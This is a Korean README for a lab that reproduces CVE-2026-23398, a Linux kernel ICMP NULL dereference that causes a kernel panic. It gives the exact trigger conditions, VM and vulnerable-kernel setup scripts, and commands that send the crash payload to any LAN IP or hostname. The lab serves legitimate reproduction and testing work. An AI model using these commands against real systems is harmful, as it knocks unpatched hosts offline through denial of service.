
# CVE-2026-23398 재현 실습 환경 Linux 커널의 `icmp_tag_validation()`에서 ICMP Fragmentation Needed 패킷에 의해 트리거되는 NULL 역참조(NULL dereference) 취약점으로, 서비스 거부(DoS)를 유발합니다. QEMU VM 설정, Scapy PoC, 패치된 커널과 취약한 커널 테스트용 스크립트를 포함합니다.
ip_no_pmtu_disc=3)icmp_tag_validation()의 Linux 커널 버그를 재현하기 위한 실습 환경입니다 (net.ipv4.ip_no_pmtu_disc = 3이고, 인용된 내부 IPv4 헤더가 inet_protos[]에 핸들러가 없는 프로토콜 번호를 사용하는 Fragmentation Needed ICMP가 도착할 때 NULL 역참조 발생).
승인된 사용에 한함: 소유한 시스템 또는 명시적 서면 허가를 받은 시스템에서만 테스트하세요. 영향은 서비스 거부(커널 패닉)입니다.
| 구성 요소 | 용도 |
|---|
QEMU (qemu-system-x86_64, qemu-img) | 피해자 VM |
cloud-image-utils (cloud-localds), wget, genisoimage | Cloud-init 및 이미지 다운로드 |
| Docker + Docker Compose | 호스트에서 ICMP 전송 (host 네트워크 모드) |
| OpenSSH 클라이언트 | SSH 자동화 |
~/.ssh/id_ed25519.pub 또는 id_rsa.pub의 SSH 키, 또는 sshpass | 비밀번호 입력 없이 게스트 로그인 (키 권장) |
| sudo | TAP 모드 전용 (호스트에서 VM의 고정 IP로 ICMP 전송) |
호스트의 Python 3 및 Scapy는 원격 페이로드에 Docker를 사용하지 않는 경우에만 필요합니다.
├── send_frag_needed.py # Scapy PoC (ICMP 3,4 + 흔하지 않은 프로토콜의 내부 IP)
├── send-payload-to-host.sh # 네트워크의 IP/호스트명으로 페이로드 전송
├── docker-compose.yml # "sender" 서비스 (host 네트워크 + CAP_NET_RAW)
├── Dockerfile
├── vm/ # 디스크, cloud-init 시드, QEMU 시리얼 로그
└── scripts/
├── fetch-image.sh
├── prepare-disk.sh
├── build-seed-dhcp.sh # DHCP 시드 (usernet 모드)
├── build-seed.sh # 고정 192.168.76.2 시드 (TAP 모드)
├── vm-start-usernet.sh # QEMU + 사용자 네트워킹 (SSH 포트 2222)
├── vm-stop-usernet.sh
├── vm-start.sh / vm-stop.sh # QEMU + TAP (tap-up.sh 이후)
├── tap-up.sh / tap-down.sh # 호스트의 TAP 인터페이스 (sudo)
├── run-lab-usernet.sh # 전체 흐름: 이미지 + VM + 게스트의 Scapy (최신 커널)
├── run-lab.sh # TAP 흐름 + docker sender → 192.168.76.2
├── install-vulnerable-mainline.sh # 패치되지 않은 mainline 6.12 + veth PoC (패닉)
└── poc-veth-netns.sh # 게스트 *내부*에서 실행 (veth + netns)
QEMU 사용자 네트워킹은 호스트에서 발생한 ICMP를 게스트로 안정적으로 전달하지 않습니다. 자동화된 흐름은 VM에 Scapy를 설치하고 해당 스크립트를 실행합니다. 현재 Ubuntu 커널은 일반적으로 패치되어 있습니다: "Sent 1 packets"가 표시되지만 패닉은 발생하지 않습니다.
cd /path/to/repo
chmod +x scripts/*.sh send-payload-to-host.sh
# 첫 실행: Ubuntu Noble 클라우드 이미지 다운로드, 오버레이, 시드, QEMU 시작, SSH :2222, apt, PoC
./scripts/run-lab-usernet.sh
ssh -p 2222 [email protected] (비밀번호 인증을 사용하는 경우 비밀번호 lablab)../scripts/vm-stop-usernet.shvm/serial-usernet.logCVE 수정은 2026년 3월에 적용되었습니다. 이전 mainline 빌드(예: 2024-11의 6.12.0)에는 해당 수정이 포함되어 있지 않습니다. 스크립트는 해당 .deb 패키지를 VM에 설치하고, 재부팅한 후 veth + 네트워크 네임스페이스를 사용하여 PoC를 실행하므로 ICMP가 실제 수신(ingress) 경로를 따릅니다(게스트의 자체 루프백/인터페이스 IP로만 전송하는 것으로는 충분하지 않음).
경고: 이 작업은 일반적으로 커널 패닉으로 끝나며 SSH가 응답을 중지합니다.
# usernet VM 실행 중 (또는 run-lab-usernet.sh가 한 번 생성한 후)
./scripts/vm-start-usernet.sh # 아직 실행 중이 아닌 경우
./scripts/install-vulnerable-mainline.sh
| 신호 | 패닉 발생함 (취약한 6.12에서 예상) | 패닉 발생하지 않음 |
|---|---|---|
| "Running PoC …" 직후 SSH | 중단되거나 Connection timed out / Connection reset | 세션이 계속 작동하고 셸에 접근 가능 |
send_frag_needed.py 출력 | SSH가 죽기 전에 . Sent 1 packets. 가 표시되어야 함 (링크가 즉시 끊기면 종종 잘림) | Install Scapy: pip install scapy → 게스트에 Scapy가 없어 ICMP가 전송되지 않음. install-vulnerable-mainline.sh를 다시 실행하거나 (python3-scapy 설치) VM에서 sudo apt install -y python3-scapy를 실행하고 PoC를 다시 실행 |
| 시리얼 로그 | tail -f vm/serial-usernet.log에 Kernel panic, icmp_unreach, CR2: 0000000000000010 등 표시 | 패닉 라인 없음; 게스트가 계속 실행됨 |
| QEMU 프로세스 | 실행 중이지만 게스트 OS는 재부팅 전까지 죽어 있음 | 게스트가 포트 2222에서 계속 응답 |
새 디스크 참고: prepare-disk.sh + vm-start-usernet.sh만 실행한 경우(run-lab-usernet.sh 아님), 게스트에는 install-vulnerable-mainline.sh가 설치할 때까지(또는 수동으로 설치할 때까지) python3-scapy가 없을 수 있습니다.
패닉 후 — 깨끗한 재설정:
./scripts/vm-stop-usernet.sh
rm -f vm/victim.qcow2
./scripts/prepare-disk.sh
./scripts/build-seed-dhcp.sh
./scripts/vm-start-usernet.sh
# 선택 사항: 패키지 재설치 / install-vulnerable-mainline.sh 재실행
게스트는 192.168.76.2를, 호스트는 TAP에서 192.168.76.1을 사용합니다. ICMP는 실제 LAN과 동일하게 동작합니다.
./scripts/tap-up.sh # sudo: icmp-lab-tap0 생성
./scripts/prepare-disk.sh
./scripts/build-seed.sh # cloud-init의 고정 주소 지정
./scripts/vm-start.sh
./scripts/wait-ssh.sh 192.168.76.2
# VM에서: sysctl -w net.ipv4.ip_no_pmtu_disc=3 및 패닉을 원하면 취약한 커널
docker compose build
docker compose run --rm sender 192.168.76.2
./scripts/run-lab.sh는 이 중 일부를 연결합니다 (TAP + Docker 필요).
편의 래퍼 (호스트명 → IPv4 확인, Docker 선호, 그 외에는 sudo + Python):
chmod +x send-payload-to-host.sh
docker compose build # 한 번만
./send-payload-to-host.sh 192.168.1.50
./send-payload-to-host.sh myserver.lan --inner-proto 253 --nexthop-mtu 1200
Docker 없이:
sudo pip install scapy # 필요한 경우
sudo ./send-payload-to-host.sh 192.168.1.50
이 CVE에 중요한 대상 조건:
net.ipv4.ip_no_pmtu_disc = 3 (강화된 PMTU 모드).커널이 패치되었거나 sysctl이 3이 아니면 패닉이 발생하지 않습니다. 패킷은 여전히 네트워크에 전송될 수 있습니다.
| 변수 | 설명 |
|---|---|
ICMP_LAB_TAP | TAP 장치 이름 (기본값 icmp-lab-tap0) |
ICMP_LAB_HOST_IP | TAP의 호스트 주소 (기본값 192.168.76.1/24) |
ICMP_LAB_SSH_PORT | usernet SSH 포트 (기본값 2222) |
ICMP_LAB_SSH_HOST | SSH 호스트 (기본값 127.0.0.1) |
icmp: fix NULL pointer dereference in icmp_tag_validation() (mainline의 커밋 614aefe56af8e)3 도입: 커밋 8ed1dc44d3e9 (hardened ip_no_pmtu_disc)| 목표 | 명령 |
|---|---|
| 첫 usernet 실습 | ./scripts/run-lab-usernet.sh |
| usernet VM 시작 / 중지 | ./scripts/vm-start-usernet.sh / ./scripts/vm-stop-usernet.sh |
| 취약한 커널 + PoC (패닉) | ./scripts/install-vulnerable-mainline.sh |
| 패닉 후 디스크 재설정 | rm -f vm/victim.qcow2 && ./scripts/prepare-disk.sh && ./scripts/build-seed-dhcp.sh |
| LAN IP/호스트로 페이로드 전송 | ./send-payload-to-host.sh <IP|hostname> |
| Docker sender 이미지 빌드 | docker compose build |